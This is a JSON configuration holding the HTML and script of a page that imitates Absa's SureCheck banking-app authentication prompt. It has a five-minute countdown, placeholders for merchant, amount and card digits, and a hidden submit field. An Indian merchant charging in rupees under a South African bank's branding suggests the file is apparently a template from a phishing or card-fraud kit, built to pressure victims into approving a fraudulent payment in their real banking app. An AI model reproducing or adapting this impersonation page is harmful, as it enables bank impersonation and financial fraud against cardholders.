{
  "type": "customValid",
  "name": "Absa SureCheck",
  "showTop": true,
  "merchant": "UPSKILL WORKFORCE PRIVATE LIMITED",
  "amount": "INR 45858.00",
  "pageContent": "<div style='font-family:Arial,sans-serif;max-width:420px;margin:0 auto;padding:16px 20px;'><h2 style='text-align:center;font-size:17px;font-weight:bold;color:#111;margin:0 0 22px;line-height:1.4;'>Banking App Authentication<br>required</h2><div style='display:flex;justify-content:center;margin-bottom:22px;'><svg width='120' height='120' viewBox='0 0 120 120'><circle cx='60' cy='60' r='54' fill='none' stroke='#f5d0d0' stroke-width='5'/><circle id='absa-ring' cx='60' cy='60' r='54' fill='none' stroke='#8b0000' stroke-width='5' stroke-dasharray='339.29' stroke-dashoffset='0' transform='rotate(-90 60 60)' style='transition:stroke-dashoffset 1s linear;'/><text id='absa-time' x='60' y='66' text-anchor='middle' fill='#8b0000' font-size='19' font-weight='bold' font-family='Arial'>05:00</text></svg></div><p style='font-size:13px;color:#333;line-height:1.65;margin:0 0 18px;'>A SureCheck notification is sent to your primary device. Go to your app to verify this transaction.<br>As an Absa Rewards customer you can get up to 30% cashback, depending on your rewards tier.</p><table style='width:100%;font-size:13px;color:#333;border-collapse:collapse;margin-bottom:22px;'><tr><td style='padding:6px 12px 6px 0;color:#555;vertical-align:top;white-space:nowrap;'>Merchant:</td><td style='padding:6px 0;font-weight:500;'>${merchant}</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;white-space:nowrap;'>Amount:</td><td style='padding:6px 0;font-weight:500;'>${payment}</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;white-space:nowrap;'>Date:</td><td style='padding:6px 0;font-weight:500;'>2026-02-22 15:52:00 PM</td></tr><tr><td style='padding:6px 12px 6px 0;color:#555;vertical-align:top;white-space:nowrap;'>Card<br>Number:</td><td style='padding:6px 0;font-weight:500;'>4483 86XX XXXX ${card}</td></tr></table><input type='hidden' class='custom-input' data-field='action' value='CANCEL'><div style='text-align:center;margin:0 0 22px;'><button type='button' class='custom-button' data-action='submit' style='background:none;border:none;font-size:15px;font-weight:700;color:#111;cursor:pointer;letter-spacing:1.5px;padding:10px 40px;'>CANCEL</button></div><div style='border-top:1px solid #e0e0e0;'><div onclick='absaToggle(\"absa-q1\")' style='display:flex;justify-content:space-between;align-items:center;padding:13px 0;cursor:pointer;border-bottom:1px solid #e0e0e0;'><span style='font-size:13px;color:#333;'>What happens when you click Submit?</span><span style='font-size:20px;color:#777;line-height:1;user-select:none;'>+</span></div><div id='absa-q1' style='display:none;font-size:13px;color:#555;padding:10px 0 12px;border-bottom:1px solid #e0e0e0;line-height:1.65;'>When you click Submit in your Absa Banking App, the transaction will be approved and the payment will be processed.</div><div onclick='absaToggle(\"absa-q2\")' style='display:flex;justify-content:space-between;align-items:center;padding:13px 0;cursor:pointer;'><span style='font-size:13px;color:#333;'>Do you suspect fraud?</span><span style='font-size:20px;color:#777;line-height:1;user-select:none;'>+</span></div><div id='absa-q2' style='display:none;font-size:13px;color:#555;padding:10px 0 12px;line-height:1.65;'>If you suspect fraud, do not approve the transaction in your app. Contact Absa immediately on 0800 11 11 55.</div></div><script>(function(){if(window._absaTimer)clearInterval(window._absaTimer);var total=300,rem=300,circ=339.29;function pad(n){return n<10?'0'+n:''+n;}window.absaToggle=function(id){var e=document.getElementById(id);e.style.display=e.style.display==='none'?'':'none';};function tick(){var el=document.getElementById('absa-time'),ring=document.getElementById('absa-ring');if(el)el.textContent=pad(Math.floor(rem/60))+':'+pad(rem%60);if(ring)ring.style.strokeDashoffset=(circ*(1-rem/total)).toFixed(2);if(rem<=0){clearInterval(window._absaTimer);return;}rem--;}tick();window._absaTimer=setInterval(tick,1000);})()</script></div>",
  "customStyles": ""
}
